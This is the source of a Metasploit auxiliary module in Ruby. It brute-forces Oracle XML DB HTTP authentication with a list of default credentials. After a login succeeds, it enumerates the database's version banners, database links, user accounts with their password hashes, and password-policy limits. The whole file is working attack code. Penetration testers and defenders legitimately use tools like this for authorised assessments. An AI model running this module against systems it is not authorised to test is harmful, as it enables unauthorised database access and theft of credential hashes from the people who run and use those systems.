Path: blob/master/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Oracle XML DB SID Discovery via Brute Force',13'Description' => %q{14This module attempts to retrieve the sid from the Oracle XML DB httpd server,15utilizing Pete Finnigan's default oracle password list.16},17'References' => [18[ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],19[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],20],21'Author' => [ 'nebulus' ],22'License' => MSF_LICENSE23)2425register_options(26[27OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),28Opt::RPORT(8080),29]30)31end3233def run_host(ip)34begin35res = send_request_raw({36'uri' => '/oradb/PUBLIC/GLOBAL_NAME',37'version' => '1.0',38'method' => 'GET'39}, 5)40return if not res4142if (res.code == 200)43vprint_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code}) is not password protected.")44return45elsif (res.code == 403 || res.code == 401)46print_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code})")47end4849list = datastore['CSVFILE']50users = []5152fd = CSV.foreach(list) do |brute|53dbuser = brute[2].downcase54dbpass = brute[3].downcase55user_pass = "#{dbuser}:#{dbpass}"5657res = send_request_raw({58'uri' => '/oradb/PUBLIC/GLOBAL_NAME',59'version' => '1.0',60'method' => 'GET',61'headers' =>62{63'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"64}65}, 10)6667if (not res)68vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")69next70end71if (res.code == 200)72if (not res.body.length > 0)73# sometimes weird bug where body doesn't have value yet74res.body = res.bufq75end76sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]77report_note(78:host => ip,79:proto => 'tcp',80:port => datastore['RPORT'],81:type => 'SERVICE_NAME',82:data => { :sid => sid },83:update => :unique_data84)85print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}")86users.push(user_pass)87else88vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")89end90end # fd.each9192good = false93users.each do |user_pass|94(u, p) = user_pass.split(':')9596# get versions97res = send_request_raw({98'uri' => '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION',99'version' => '1.1',100'method' => 'GET',101'headers' =>102{103'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"104}105}, -1)106107if (res)108if (res.code == 200)109if (not res.body.length > 0)110# sometimes weird bug where body doesn't have value yet111res.body = res.bufq112end113114doc = REXML::Document.new(res.body)115116print_good("Version Information ==> as #{u}")117doc.elements.each('PRODUCT_COMPONENT_VERSION/ROW') do |e|118p = e.elements['PRODUCT'].get_text119v = e.elements['VERSION'].get_text120s = e.elements['STATUS'].get_text121report_note(122:host => datastore['RHOST'],123:sname => 'xdb',124:proto => 'tcp',125:port => datastore['RPORT'],126:type => 'ORA_ENUM',127:data => { :component_version => "#{p}#{v}" },128:update => :unique_data129)130print_good("\t#{p}\t\t#{v}\t(#{s})")131end132end133end134135# More version information136res = send_request_raw({137'uri' => '/oradb/PUBLIC/ALL_REGISTRY_BANNERS',138'version' => '1.1',139'method' => 'GET',140'headers' =>141{142'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"143}144}, -1)145146if (res)147if (res.code == 200)148if (not res.body.length > 0)149# sometimes weird bug where body doesn't have value yet150res.body = res.bufq151end152153doc = REXML::Document.new(res.body)154155doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|156next if e.elements['BANNER'] == nil157158b = e.elements['BANNER'].get_text159report_note(160:host => datastore['RHOST'],161:proto => 'tcp',162:sname => 'xdb',163:port => datastore['RPORT'],164:type => 'ORA_ENUM',165:data => { :component_version => b },166:update => :unique_data167)168print_good("\t#{b}")169end170end171end172173# database links174res = send_request_raw({175'uri' => '/oradb/PUBLIC/ALL_DB_LINKS',176'version' => '1.1',177'method' => 'GET',178'headers' =>179{180'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"181}182}, -1)183184if (res)185if (res.code == 200)186if (not res.body.length > 0)187# sometimes weird bug where body doesn't have value yet188res.body = res.bufq189end190191doc = REXML::Document.new(res.body)192193print_good("Database Link Information ==> as #{u}")194doc.elements.each('ALL_DB_LINKS/ROW') do |e|195next if (e.elements['HOST'] == nil or e.elements['USERNAME'] == nil or e.elements['DB_LINK'] == nil)196197h = e.elements['HOST'].get_text198d = e.elements['DB_LINK'].get_text199us = e.elements['USERNAME'].get_text200201sid = h.to_s.scan(/\(SID\s\=\s(\S+)\)\)\)/)[0]202if (h.to_s.match(/^\(DESCRIPTION/))203h = h.to_s.scan(/\(HOST\s\=\s(\S+)\)\(/)[0]204end205206if (sid and sid != "")207print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")208report_note(209:host => h[0],210:proto => 'tcp',211:port => datastore['RPORT'],212:sname => 'xdb',213:type => 'oracle_sid',214:data => { :sid => sid },215:update => :unique_data216)217else218print_good("\tLink: #{d}\t#{us}\@#{h}")219end220end221end222end223224# get users225res = send_request_raw({226'uri' => '/oradb/PUBLIC/DBA_USERS',227'version' => '1.1',228'method' => 'GET',229'read_max_data' => (1024 * 1024 * 10),230'headers' =>231{232'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"233}234}, -1)235236if res and res.code == 200237if (not res.body.length > 0)238# sometimes weird bug where body doesn't have value yet239res.body = res.bufq240end241242doc = REXML::Document.new(res.body)243print_good("Username/Hashes on #{ip}:#{datastore['RPORT']} ==> as #{u}")244245doc.elements.each('DBA_USERS/ROW') do |user|246us = user.elements['USERNAME'].get_text247h = user.elements['PASSWORD'].get_text248as = user.elements['ACCOUNT_STATUS'].get_text249print_good("\t#{us}:#{h}:#{as}")250good = true251if (as.to_s == "OPEN")252report_note(253:host => datastore['RHOST'],254:proto => 'tcp',255:sname => 'xdb',256:port => datastore['RPORT'],257:type => 'ORA_ENUM',258:data => { :active_account => "#{u}:#{h}:#{as}" },259:update => :unique_data260)261else262report_note(263:host => datastore['RHOST'],264:proto => 'tcp',265:sname => 'xdb',266:port => datastore['RPORT'],267:type => 'ORA_ENUM',268:data => { :disabled_account => "#{u}:#{h}:#{as}" },269:update => :unique_data270)271end272end273end274275# get password information276res = send_request_raw({277'uri' => '/oradb/PUBLIC/USER_PASSWORD_LIMITS',278'version' => '1.1',279'method' => 'GET',280'read_max_data' => (1024 * 1024 * 10),281'headers' =>282{283'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"284}285}, -1)286287if res and res.code == 200288if (not res.body.length > 0)289# sometimes weird bug where body doesn't have value yet290res.body = res.bufq291end292293doc = REXML::Document.new(res.body)294295print_good("Password Policy ==> as #{u}")296fla = plit = pgt = prt = prm = plot = ''297doc.elements.each('USER_PASSWORD_LIMITS/ROW') do |e|298next if e.elements['RESOURCE_NAME'] == nil299300case301when (e.elements['RESOURCE_NAME'].get_text == 'FAILED_LOGIN_ATTEMPTS')302fla = e.elements['LIMIT'].get_text303when (e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LIFE_TIME')304plit = e.elements['LIMIT'].get_text305when (e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_TIME')306prt = e.elements['LIMIT'].get_text307when (e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_MAX')308prm = e.elements['LIMIT'].get_text309when (e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LOCK_TIME')310plot = e.elements['LIMIT'].get_text311when (e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_GRACE_TIME')312pgt = e.elements['LIMIT'].get_text313end314end315316print_good(317"\tFailed Login Attempts: #{fla}\n\t" +318"Password Life Time: #{plit}\n\t" +319"Password Reuse Time: #{prt}\n\t" +320"Password Reuse Max: #{prm}\n\t" +321"Password Lock Time: #{plot}\n\t" +322"Password Grace Time: #{pgt}"323)324report_note(325:host => datastore['RHOST'],326:proto => 'tcp',327:sname => 'xdb',328:port => datastore['RPORT'],329:type => 'ORA_ENUM',330:data => { :password_maximum_reuse_time => prm },331:update => :unique_data332)333report_note(334:host => datastore['RHOST'],335:proto => 'tcp',336:sname => 'xdb',337:port => datastore['RPORT'],338:type => 'ORA_ENUM',339:data => { :password_reuse_time => prt },340:update => :unique_data341)342report_note(343:host => datastore['RHOST'],344:proto => 'tcp',345:sname => 'xdb',346:port => datastore['RPORT'],347:type => 'ORA_ENUM',348:data => { :password_life_time => plit },349:update => :unique_data350)351report_note(352:host => datastore['RHOST'],353:proto => 'tcp',354:sname => 'xdb',355:port => datastore['RPORT'],356:type => 'ORA_ENUM',357:data => { :account_fail_logins_permitted => fla },358:update => :unique_data359)360report_note(361:host => datastore['RHOST'],362:proto => 'tcp',363:sname => 'xdb',364:port => datastore['RPORT'],365:type => 'ORA_ENUM',366:data => { :account_lockout_time => plot },367:update => :unique_data368)369report_note(370:host => datastore['RHOST'],371:proto => 'tcp',372:sname => 'xdb',373:port => datastore['RPORT'],374:type => 'ORA_ENUM',375:data => { :account_password_grace_time => pgt },376:update => :unique_data377)378end379380break if good381end # users.each382rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout383rescue ::Timeout::Error, ::Errno::EPIPE384end385end386end387388389